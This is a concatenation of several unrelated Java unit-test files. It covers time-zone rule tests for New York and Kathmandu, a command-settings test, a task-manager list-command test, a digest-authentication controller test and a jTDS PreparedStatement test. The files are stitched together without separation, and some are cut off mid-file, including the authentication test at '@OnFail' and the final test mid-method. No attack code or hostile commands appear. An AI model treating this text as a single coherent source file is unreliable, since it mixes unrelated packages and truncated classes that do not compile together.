ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 6, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 7, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 8, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 9, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 10, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 11, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 12, 1, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 1, 28, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 2, 28, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 3, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 4, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 5, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 6, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 7, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 8, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 9, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 10, 28, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 11, 28, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 12, 28, offset)), ZoneOffset.ofHours(-5)); } public void test_NewYork_getOffset_toDST() { ZoneRules test = americaNewYork(); ZoneOffset offset = ZoneOffset.ofHours(-5); assertEquals(test.getOffset(createInstant(2008, 3, 8, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 3, 9, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 3, 10, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 3, 11, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 3, 12, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 3, 13, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 3, 14, offset)), ZoneOffset.ofHours(-4)); // cutover at 02:00 local assertEquals(test.getOffset(createInstant(2008, 3, 9, 1, 59, 59, 999999999, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 3, 9, 2, 0, 0, 0, offset)), ZoneOffset.ofHours(-4)); } public void test_NewYork_getOffset_fromDST() { ZoneRules test = americaNewYork(); ZoneOffset offset = ZoneOffset.ofHours(-4); assertEquals(test.getOffset(createInstant(2008, 11, 1, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 11, 2, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 11, 3, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 11, 4, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 11, 5, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 11, 6, offset)), ZoneOffset.ofHours(-5)); assertEquals(test.getOffset(createInstant(2008, 11, 7, offset)), ZoneOffset.ofHours(-5)); // cutover at 02:00 local assertEquals(test.getOffset(createInstant(2008, 11, 2, 1, 59, 59, 999999999, offset)), ZoneOffset.ofHours(-4)); assertEquals(test.getOffset(createInstant(2008, 11, 2, 2, 0, 0, 0, offset)), ZoneOffset.ofHours(-5)); } public void test_NewYork_getOffsetInfo() { ZoneRules test = americaNewYork(); checkOffset(test, createLDT(2008, 1, 1), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 2, 1), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 3, 1), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 4, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 5, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 6, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 7, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 8, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 9, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 10, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 11, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 12, 1), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 1, 28), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 2, 28), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 3, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 4, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 5, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 6, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 7, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 8, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 9, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 10, 28), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 11, 28), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 12, 28), ZoneOffset.ofHours(-5), 1); } public void test_NewYork_getOffsetInfo_toDST() { ZoneRules test = americaNewYork(); checkOffset(test, createLDT(2008, 3, 8), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 3, 9), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 3, 10), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 3, 11), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 3, 12), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 3, 13), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 3, 14), ZoneOffset.ofHours(-4), 1); // cutover at 02:00 local checkOffset(test, LocalDateTime.of(2008, 3, 9, 1, 59, 59, 999999999), ZoneOffset.ofHours(-5), 1); checkOffset(test, LocalDateTime.of(2008, 3, 9, 3, 0, 0, 0), ZoneOffset.ofHours(-4), 1); } public void test_NewYork_getOffsetInfo_fromDST() { ZoneRules test = americaNewYork(); checkOffset(test, createLDT(2008, 11, 1), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 11, 2), ZoneOffset.ofHours(-4), 1); checkOffset(test, createLDT(2008, 11, 3), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 11, 4), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 11, 5), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 11, 6), ZoneOffset.ofHours(-5), 1); checkOffset(test, createLDT(2008, 11, 7), ZoneOffset.ofHours(-5), 1); // cutover at 02:00 local checkOffset(test, LocalDateTime.of(2008, 11, 2, 0, 59, 59, 999999999), ZoneOffset.ofHours(-4), 1); checkOffset(test, LocalDateTime.of(2008, 11, 2, 2, 0, 0, 0), ZoneOffset.ofHours(-5), 1); } public void test_NewYork_getOffsetInfo_gap() { ZoneRules test = americaNewYork(); final LocalDateTime dateTime = LocalDateTime.of(2008, 3, 9, 2, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, ZoneOffset.ofHours(-5), GAP); assertEquals(trans.isGap(), true); assertEquals(trans.isOverlap(), false); assertEquals(trans.getOffsetBefore(), ZoneOffset.ofHours(-5)); assertEquals(trans.getOffsetAfter(), ZoneOffset.ofHours(-4)); assertEquals(trans.getInstant(), createInstant(2008, 3, 9, 2, 0, ZoneOffset.ofHours(-5))); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-5)), false); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-4)), false); assertEquals(trans.toString(), "Transition[Gap at 2008-03-09T02:00-05:00 to -04:00]"); assertFalse(trans.equals(null)); assertFalse(trans.equals(ZoneOffset.ofHours(-5))); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_NewYork_getOffsetInfo_overlap() { ZoneRules test = americaNewYork(); final LocalDateTime dateTime = LocalDateTime.of(2008, 11, 2, 1, 0, 0, 0); ZoneOffsetTransition trans = checkOffset(test, dateTime, ZoneOffset.ofHours(-4), OVERLAP); assertEquals(trans.isGap(), false); assertEquals(trans.isOverlap(), true); assertEquals(trans.getOffsetBefore(), ZoneOffset.ofHours(-4)); assertEquals(trans.getOffsetAfter(), ZoneOffset.ofHours(-5)); assertEquals(trans.getInstant(), createInstant(2008, 11, 2, 2, 0, ZoneOffset.ofHours(-4))); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-1)), false); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-5)), true); assertEquals(trans.isValidOffset(ZoneOffset.ofHours(-4)), true); assertEquals(trans.isValidOffset(OFFSET_PTWO), false); assertEquals(trans.toString(), "Transition[Overlap at 2008-11-02T02:00-04:00 to -05:00]"); assertFalse(trans.equals(null)); assertFalse(trans.equals(ZoneOffset.ofHours(-4))); assertTrue(trans.equals(trans)); final ZoneOffsetTransition otherTrans = test.getTransition(dateTime); assertTrue(trans.equals(otherTrans)); assertEquals(trans.hashCode(), otherTrans.hashCode()); } public void test_NewYork_getStandardOffset() { ZoneRules test = americaNewYork(); ZonedDateTime dateTime = createZDT(1860, 1, 1, ZoneOffset.UTC); while (dateTime.getYear() < 2010) { Instant instant = dateTime.toInstant(); if (dateTime.toLocalDate().isBefore(LocalDate.of(1883, 11, 18))) { assertEquals(test.getStandardOffset(instant), ZoneOffset.of("-04:56:02")); } else { assertEquals(test.getStandardOffset(instant), ZoneOffset.ofHours(-5)); } dateTime = dateTime.plusMonths(6); } } // Kathmandu private ZoneRules asiaKathmandu() { return ZoneId.of("Asia/Kathmandu").getRules(); } public void test_Kathmandu_nextTransition_historic() { ZoneRules test = asiaKathmandu(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition first = trans.get(0); assertEquals(test.nextTransition(first.getInstant().minusNanos(1)), first); for (int i = 0; i < trans.size() - 1; i++) { ZoneOffsetTransition cur = trans.get(i); ZoneOffsetTransition next = trans.get(i + 1); assertEquals(test.nextTransition(cur.getInstant()), next); assertEquals(test.nextTransition(next.getInstant().minusNanos(1)), next); } } public void test_Kathmandu_nextTransition_noRules() { ZoneRules test = asiaKathmandu(); List<ZoneOffsetTransition> trans = test.getTransitions(); ZoneOffsetTransition last = trans.get(trans.size() - 1); assertEquals(test.nextTransition(last.getInstant()), null); } @Test(expectedExceptions=UnsupportedOperationException.class) public void test_getTransitions_immutable() { ZoneRules test = europeParis(); test.getTransitions().clear(); } @Test(expectedExceptions=UnsupportedOperationException.class) public void test_getTransitionRules_immutable() { ZoneRules test = europeParis(); test.getTransitionRules().clear(); } @Test public void test_rulesWithoutTransitions() { // this was not intended to be a valid setup of ZoneRules List<ZoneOffsetTransitionRule> r = new ArrayList<ZoneOffsetTransitionRule>(); r.add(ZoneOffsetTransitionRule.of(Month.MARCH, 25, DayOfWeek.SUNDAY, LocalTime.of(1, 0), false, TimeDefinition.UTC, OFFSET_PONE, OFFSET_PONE, OFFSET_PTWO)); r.add(ZoneOffsetTransitionRule.of(Month.OCTOBER, 25, DayOfWeek.SUNDAY, LocalTime.of(1, 0), false, TimeDefinition.UTC, OFFSET_PONE, OFFSET_PTWO, OFFSET_PONE)); ZoneRules test = ZoneRules.of(OFFSET_ZERO, OFFSET_ZERO, new ArrayList<ZoneOffsetTransition>(), new ArrayList<ZoneOffsetTransition>(), r); LocalDateTime ldt = LocalDateTime.of(2008, 6, 30, 0, 0); test.getTransition(ldt); Instant instant = LocalDateTime.of(2008, 10, 26, 2, 30).toInstant(OFFSET_PONE); assertEquals(test.getOffset(instant), OFFSET_PONE); assertFalse(test.isFixedOffset()); } // equals() / hashCode() public void test_equals() { ZoneRules test1 = europeLondon(); ZoneRules test2 = europeParis(); ZoneRules test2b = europeParis(); assertEquals(test1.equals(test2), false); assertEquals(test2.equals(test1), false); assertEquals(test1.equals(test1), true); assertEquals(test2.equals(test2), true); assertEquals(test2.equals(test2b), true); assertEquals(test1.hashCode() == test1.hashCode(), true); assertEquals(test2.hashCode() == test2.hashCode(), true); assertEquals(test2.hashCode() == test2b.hashCode(), true); } public void test_equals_null() { assertEquals(europeLondon().equals(null), false); } public void test_equals_notZoneRules() { assertEquals(europeLondon().equals("Europe/London"), false); } public void test_toString() { assertEquals(europeLondon().toString().contains("ZoneRules"), true); } private Instant createInstant(int year, int month, int day, ZoneOffset offset) { return LocalDateTime.of(year, month, day, 0, 0).toInstant(offset); } private Instant createInstant(int year, int month, int day, int hour, int min, ZoneOffset offset) { return LocalDateTime.of(year, month, day, hour, min).toInstant(offset); } private Instant createInstant(int year, int month, int day, int hour, int min, int sec, int nano, ZoneOffset offset) { return LocalDateTime.of(year, month, day, hour, min, sec, nano).toInstant(offset); } private ZonedDateTime createZDT(int year, int month, int day, ZoneId zone) { return LocalDateTime.of(year, month, day, 0, 0).atZone(zone); } private LocalDateTime createLDT(int year, int month, int day) { return LocalDateTime.of(year, month, day, 0, 0); } private ZoneOffsetTransition checkOffset(ZoneRules rules, LocalDateTime dateTime, ZoneOffset offset, int type) { List<ZoneOffset> validOffsets = rules.getValidOffsets(dateTime); assertEquals(validOffsets.size(), type); assertEquals(rules.getOffset(dateTime), offset); if (type == 1) { assertEquals(validOffsets.get(0), offset); return null; } else { ZoneOffsetTransition zot = rules.getTransition(dateTime); assertNotNull(zot); assertEquals(zot.isOverlap(), type == 2); assertEquals(zot.isGap(), type == 0); assertEquals(zot.isValidOffset(offset), type == 2); return zot; } } }
package seedu.doit.commons.core; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import org.junit.Test; import seedu.doit.logic.commands.exceptions.CommandExistedException; import seedu.doit.logic.commands.exceptions.NoSuchCommandException; public class CommandSettingTest { public static final String MESSAGE_ADD_COMMAND = "add"; public static final String MESSAGE_UNDO_COMMAND = "undo"; public static final String MESSAGE_TEST_SET_CHANGED = "changed"; CommandSettings originalSettings = new CommandSettings(); CommandSettings testSettings = new CommandSettings(); @Test public void equals_settings_true() { assertTrue(originalSettings.equals(testSettings)); } @Test public void equals_null_false() { assertFalse(originalSettings.equals(null)); } @Test public void equals_notCommandSetting_false() { assertFalse(originalSettings.equals(new Object())); } @Test public void equals_add() throws NoSuchCommandException, CommandExistedException { CommandSettings changedSettings = new CommandSettings(); CommandSettings differentSettings = new CommandSettings(); changedSettings.setCommand(MESSAGE_ADD_COMMAND, "changed"); differentSettings.setCommand(MESSAGE_ADD_COMMAND, "different"); assertFalse(originalSettings.equals(changedSettings)); assertFalse(differentSettings.equals(changedSettings)); } }
package seedu.taskman.logic.logicmanager; import org.junit.Ignore; import org.junit.Test; import seedu.taskman.model.TaskMan; import seedu.taskman.model.event.Activity; import seedu.taskman.model.event.Task; import java.util.ArrayList; import java.util.List; import static org.junit.Assert.assertTrue; public class ListTests extends LogicManagerTestBase { @Test public void execute_list_emptyArgsFormat() throws Exception { assertCommandNoStateChange("list "); } @Test public void execute_listFilteredDeadline_correctTasks() throws Exception { // setup expected LogicManagerTestBase.TestDataHelper helper = new TestDataHelper(); ArrayList<Task> targetList = helper.generateTaskList( helper.generateTaskWithOnlyDeadline("show1"), helper.generateTaskWithOnlyDeadline("show2"), helper.generateTaskWithAllFields("show3") ); ArrayList<Task> fullList = helper.generateTaskList( helper.generateTaskWithOnlySchedule("other1"), helper.generateTaskWithOnlySchedule("other2") ); fullList.addAll(targetList); List<Activity> expectedList = helper.tasksToActivity(targetList); helper.addToModel(model, fullList); logic.execute("list d"); assertTrue(model.getSortedDeadlineList().containsAll(expectedList)); assertTrue(model.getSortedDeadlineList().size() == expectedList.size()); } @Test public void execute_listSchedule_showsScheduledTasks() throws Exception { // setup expected LogicManagerTestBase.TestDataHelper helper = new TestDataHelper(); ArrayList<Task> targetList = helper.generateTaskList( helper.generateTaskWithOnlySchedule("show1"), helper.generateTaskWithOnlySchedule("show2"), helper.generateTaskWithAllFields("show3") ); ArrayList<Task> fullList = helper.generateTaskList( helper.generateTaskWithOnlyDeadline("other1"), helper.generateTaskWithOnlyDeadline("other2") ); fullList.addAll(targetList); List<Activity> expectedList = helper.tasksToActivity(targetList); helper.addToModel(model, fullList); logic.execute("list s"); assertTrue(model.getSortedScheduleList().containsAll(expectedList)); assertTrue(model.getSortedScheduleList().size() == expectedList.size()); } @Test public void execute_listFloating_showsFloatingTasks() throws Exception { // floating refers to no deadline LogicManagerTestBase.TestDataHelper helper = new TestDataHelper(); ArrayList<Task> targetList = helper.generateTaskList( helper.generateTaskWithOnlySchedule("other1"), helper.generateTaskWithOnlySchedule("other2") ); ArrayList<Task> fullList = helper.generateTaskList( helper.generateTaskWithOnlyDeadline("floating1"), helper.generateTaskWithOnlyDeadline("floating2"), helper.generateTaskWithAllFields("other3") ); fullList.addAll(targetList); List<Activity> expectedList = helper.tasksToActivity(targetList); helper.addToModel(model, fullList); logic.execute("list f"); assertTrue(model.getSortedFloatingList().containsAll(expectedList)); assertTrue(model.getSortedFloatingList().size() == expectedList.size()); } @Test public void execute_listDeadlineTitleFilter_onlyMatchesFullWords() throws Exception { TestDataHelper helper = new TestDataHelper(); Task taskTarget1 = helper.generateTaskWithAllFields("bla bla KEY bla"); Task taskTarget2 = helper.generateTaskWithAllFields("bla KEY bla bceofeia"); Task other1 = helper.generateTaskWithAllFields("KE Y"); Task other2 = helper.generateTaskWithAllFields("KEYKEYKEY sduauo"); List<Task> fourTasks = helper.generateTaskList(other1, taskTarget1, other2, taskTarget2); List<Activity> expectedList = helper.tasksToActivity(helper.generateTaskList(taskTarget1, taskTarget2)); helper.addToModel(model, fourTasks); logic.execute("list d KEY"); assertTrue(model.getSortedDeadlineList().containsAll(expectedList)); assertTrue(model.getSortedDeadlineList().size() == expectedList.size()); } @Test public void execute_listDeadlineTitleFilter_isNotCaseSensitive() throws Exception { TestDataHelper helper = new TestDataHelper(); Task target1 = helper.generateTaskWithAllFields("bla bla KEY bla"); Task target2 = helper.generateTaskWithAllFields("bla KEY bla bceofeia"); Task target3 = helper.generateTaskWithAllFields("key key"); Task target4 = helper.generateTaskWithAllFields("KEy sduauo"); List<Task> fourTasks = helper.generateTaskList(target3, target1, target4, target2); List<Activity> expectedList = helper.tasksToActivity(helper.generateTaskList(target1, target2, target3, target4)); helper.addToModel(model, fourTasks); logic.execute("list d KEY"); assertTrue(model.getSortedDeadlineList().containsAll(expectedList)); assertTrue(model.getSortedDeadlineList().size() == expectedList.size()); } @Test public void execute_listDeadline_matchesIfAnyKeywordPresent() throws Exception { TestDataHelper helper = new TestDataHelper(); Task taskTarget1 = helper.generateTaskWithAllFields("bla bla KEY bla"); Task taskTarget2 = helper.generateTaskWithAllFields("bla rAnDoM bla bceofeia"); Task taskTarget3 = helper.generateTaskWithAllFields("key key"); Task other1 = helper.generateTaskWithAllFields("sduauo"); List<Task> fourTasks = helper.generateTaskList(taskTarget1, other1, taskTarget2, taskTarget3); List<Activity> expectedList = helper.tasksToActivity(helper.generateTaskList(taskTarget1, taskTarget2, taskTarget3)); helper.addToModel(model, fourTasks); logic.execute("list d KEY rAnDoM"); assertTrue(model.getSortedDeadlineList().containsAll(expectedList)); assertTrue(model.getSortedDeadlineList().size() == expectedList.size()); } @Ignore @Test public void execute_listDeadline_filter_tags() throws Exception { // setup expectations TestDataHelper helper = new TestDataHelper(); // setup task man state helper.addToModel(model, 4); TaskMan expectedTaskMan = helper.generateTaskMan(4); List<Activity> expectedList = expectedTaskMan.getActivityList().subList(0, 2); assertCommandStateChange("list t/tag2", expectedTaskMan ); assertCommandStateChange("list t/tag6", expectedTaskMan ); expectedList = new ArrayList<>(expectedTaskMan.getActivities()); expectedList.remove(1); assertCommandStateChange("list t/tag1 t/tag4", expectedTaskMan ); } @Ignore @Test public void execute_list_filter_keywords_with_tags() throws Exception { // setup expectations TestDataHelper helper = new TestDataHelper(); TaskMan expectedTaskMan = helper.generateTaskMan(5); // setup task man state helper.addToModel(model, 5); List<Activity> expectedList = new ArrayList<>(); expectedList.add(new Activity(helper.generateFullTask(1))); expectedList.add(new Activity(helper.generateFullTask(5))); // TODO: This passes and fails randomly assertCommandStateChange("list 1 5 t/tag2 t/tag6", expectedTaskMan ); } }
package tech.greenfield.vertx.irked; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.is; import static tech.greenfield.vertx.irked.Matchers.*; import java.util.Map; import java.util.concurrent.CompletableFuture; import java.util.stream.Collectors; import java.util.stream.StreamSupport; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import io.vertx.core.Vertx; import io.vertx.core.buffer.Buffer; import io.vertx.ext.web.client.HttpResponse; import io.vertx.ext.web.handler.BodyHandler; import io.vertx.junit5.Checkpoint; import io.vertx.junit5.VertxTestContext; import tech.greenfield.vertx.irked.annotations.*; import tech.greenfield.vertx.irked.auth.DigestAuthorizationToken; import tech.greenfield.vertx.irked.auth.ParameterEncodedAuthorizationToken; import tech.greenfield.vertx.irked.base.TestBase; import tech.greenfield.vertx.irked.helpers.DigestAuthenticate; import tech.greenfield.vertx.irked.status.Unauthorized; public class TestAuthDigest extends TestBase { public class TestController extends Controller { @Get("/auth") public void text(Request r) throws Unauthorized { if (!(r.getAuthorization() instanceof DigestAuthorizationToken)) { throw new DigestAuthenticate("irked", "opaque-value"); } DigestAuthorizationToken auth = (DigestAuthorizationToken) r.getAuthorization(); if (!auth.isValid() || auth.isNonceStale(0) || !auth.validateResponse(userPass, r)) { throw new DigestAuthenticate("irked", "opaque-value"); } r.sendContent("OK"); } @Post("/auth-int") BodyHandler bodyHandler = BodyHandler.create(); @Post("/auth-int") public void binary(Request r) throws Unauthorized { if (!(r.getAuthorization() instanceof DigestAuthorizationToken)) { throw new DigestAuthenticate("irked", "opaque-value"); } DigestAuthorizationToken auth = (DigestAuthorizationToken) r.getAuthorization(); if (!auth.isValid() || auth.isNonceStale(0) || !auth.validateResponse(userPass, r)) { throw new DigestAuthenticate("irked", "opaque-value"); } r.sendContent("OK"); }; @OnFail
// jTDS JDBC Driver for Microsoft SQL Server and Sybase // This library is free software; you can redistribute it and/or // modify it under the terms of the GNU Lesser General Public // This library is distributed in the hope that it will be useful, // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // You should have received a copy of the GNU Lesser General Public // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA package net.sourceforge.jtds.test; import java.math.BigDecimal; import java.sql.*; import java.util.*; /** * @version $Id: PreparedStatementTest.java,v 1.46.2.2 2009-08-21 15:42:17 ickzon Exp $ */ public class PreparedStatementTest extends TestBase { public PreparedStatementTest(String name) { super(name); } public void testPreparedStatement() throws Exception { PreparedStatement pstmt = con.prepareStatement("SELECT * FROM #test"); Statement stmt = con.createStatement(); makeTestTables(stmt); makeObjects(stmt, 10); stmt.close(); ResultSet rs = pstmt.executeQuery(); dump(rs); rs.close(); pstmt.close(); } public void testScrollablePreparedStatement() throws Exception { Statement stmt = con.createStatement(); makeTestTables(stmt); makeObjects(stmt, 10); stmt.close(); PreparedStatement pstmt = con.prepareStatement("SELECT * FROM #test", ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet rs = pstmt.executeQuery(); assertTrue(rs.isBeforeFirst()); while (rs.next()) { } assertTrue(rs.isAfterLast()); //This currently fails because the PreparedStatement //Doesn't know it needs to create a cursored ResultSet. //Needs some refactoring!! // SAfe Not any longer. ;o) while (rs.previous()) { } assertTrue(rs.isBeforeFirst()); rs.close(); pstmt.close(); } public void testPreparedStatementAddBatch1() throws Exception { int count = 50; Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #psbatch1 (f_int INT)"); int sum = 0; con.setAutoCommit(false); PreparedStatement pstmt = con.prepareStatement("INSERT INTO #psbatch1 (f_int) VALUES (?)"); for (int i = 0; i < count; i++) { pstmt.setInt(1, i); pstmt.addBatch(); sum += i; } int[] results = pstmt.executeBatch(); assertEquals(results.length, count); for (int i = 0; i < count; i++) { assertEquals(results[i], 1); } pstmt.close(); con.commit(); con.setAutoCommit(true); ResultSet rs = stmt.executeQuery("SELECT SUM(f_int) FROM #psbatch1"); assertTrue(rs.next()); System.out.println(rs.getInt(1)); assertEquals(rs.getInt(1), sum); rs.close(); stmt.close(); } /** * Test for [924030] EscapeProcesser problem with "{}" brackets */ public void testPreparedStatementParsing1() throws Exception { String data = "New {order} plus {1} more"; Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #psp1 (data VARCHAR(32))"); stmt.close(); stmt = con.createStatement(); stmt.execute("create procedure #sp_psp1 @data VARCHAR(32) as INSERT INTO #psp1 (data) VALUES(@data)"); stmt.close(); PreparedStatement pstmt = con.prepareStatement("{call #sp_psp1('" + data + "')}"); pstmt.execute(); pstmt.close(); stmt = con.createStatement(); ResultSet rs = stmt.executeQuery("SELECT data FROM #psp1"); assertTrue(rs.next()); assertTrue(data.equals(rs.getString(1))); assertFalse(rs.next()); rs.close(); stmt.close(); } /** * Test for bug [1008882] Some queries with parameters cannot be executed with 0.9-rc1 */ public void testPreparedStatementParsing2() throws Exception { PreparedStatement pstmt = con.prepareStatement(" SELECT ?"); pstmt.setString(1, "TEST"); ResultSet rs = pstmt.executeQuery(); assertTrue(rs.next()); assertEquals("TEST", rs.getString(1)); assertFalse(rs.next()); pstmt.close(); rs.close(); } /** * Test for "invalid parameter index" error. */ public void testPreparedStatementParsing3() throws Exception { PreparedStatement pstmt = con.prepareStatement( "UPDATE dbo.DEPARTMENTS SET DEPARTMENT_NAME=? WHERE DEPARTMENT_ID=?"); pstmt.setString(1, "TEST"); pstmt.setString(2, "TEST"); pstmt.close(); } /** * Test for [931090] ArrayIndexOutOfBoundsException in rollback() */ public void testPreparedStatementRollback1() throws Exception { Connection localCon = getConnection(); Statement stmt = localCon.createStatement(); stmt.execute("CREATE TABLE #psr1 (data BIT)"); localCon.setAutoCommit(false); PreparedStatement pstmt = localCon.prepareStatement("INSERT INTO #psr1 (data) VALUES (?)"); pstmt.setBoolean(1, true); assertEquals(1, pstmt.executeUpdate()); pstmt.close(); localCon.rollback(); ResultSet rs = stmt.executeQuery("SELECT data FROM #psr1"); assertFalse(rs.next()); rs.close(); stmt.close(); localCon.close(); try { localCon.commit(); fail("Expecting commit to fail, connection was closed"); } catch (SQLException ex) { assertEquals("HY010", ex.getSQLState()); } try { localCon.rollback(); fail("Expecting rollback to fail, connection was closed"); } catch (SQLException ex) { assertEquals("HY010", ex.getSQLState()); } } /** * Test for bug [938494] setObject(i, o, NUMERIC/DECIMAL) cuts off decimal places */ public void testPreparedStatementSetObject1() throws Exception { BigDecimal data = new BigDecimal(3.7D); Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #psso1 (data MONEY)"); PreparedStatement pstmt = con.prepareStatement("INSERT INTO #psso1 (data) VALUES (?)"); pstmt.setObject(1, data); assertEquals(1, pstmt.executeUpdate()); pstmt.close(); ResultSet rs = stmt.executeQuery("SELECT data FROM #psso1"); assertTrue(rs.next()); assertEquals(data.doubleValue(), rs.getDouble(1), 0); assertFalse(rs.next()); rs.close(); stmt.close(); } /** * Test for bug [938494] setObject(i, o, NUMERIC/DECIMAL) cuts off decimal places */ public void testPreparedStatementSetObject2() throws Exception { BigDecimal data = new BigDecimal(3.7D); Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #psso2 (data MONEY)"); PreparedStatement pstmt = con.prepareStatement("INSERT INTO #psso2 (data) VALUES (?)"); pstmt.setObject(1, data, Types.NUMERIC); assertEquals(1, pstmt.executeUpdate()); pstmt.close(); ResultSet rs = stmt.executeQuery("SELECT data FROM #psso2"); assertTrue(rs.next()); assertEquals(data.doubleValue(), rs.getDouble(1), 0); assertFalse(rs.next()); rs.close(); stmt.close(); } /** * Test for bug [938494] setObject(i, o, NUMERIC/DECIMAL) cuts off decimal places */ public void testPreparedStatementSetObject3() throws Exception { BigDecimal data = new BigDecimal(3.7D); Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #psso3 (data MONEY)"); PreparedStatement pstmt = con.prepareStatement("INSERT INTO #psso3 (data) VALUES (?)"); pstmt.setObject(1, data, Types.DECIMAL); assertEquals(1, pstmt.executeUpdate()); pstmt.close(); ResultSet rs = stmt.executeQuery("SELECT data FROM #psso3"); assertTrue(rs.next()); assertEquals(data.doubleValue(), rs.getDouble(1), 0); assertFalse(rs.next()); rs.close(); stmt.close(); } /** * Test for bug [938494] setObject(i, o, NUMERIC/DECIMAL) cuts off decimal places */ public void testPreparedStatementSetObject4() throws Exception { BigDecimal data = new BigDecimal(3.7D); Statement stmt = con.createStatement(); stmt.execute("CREATE TABLE #psso4 (data MONEY)"); 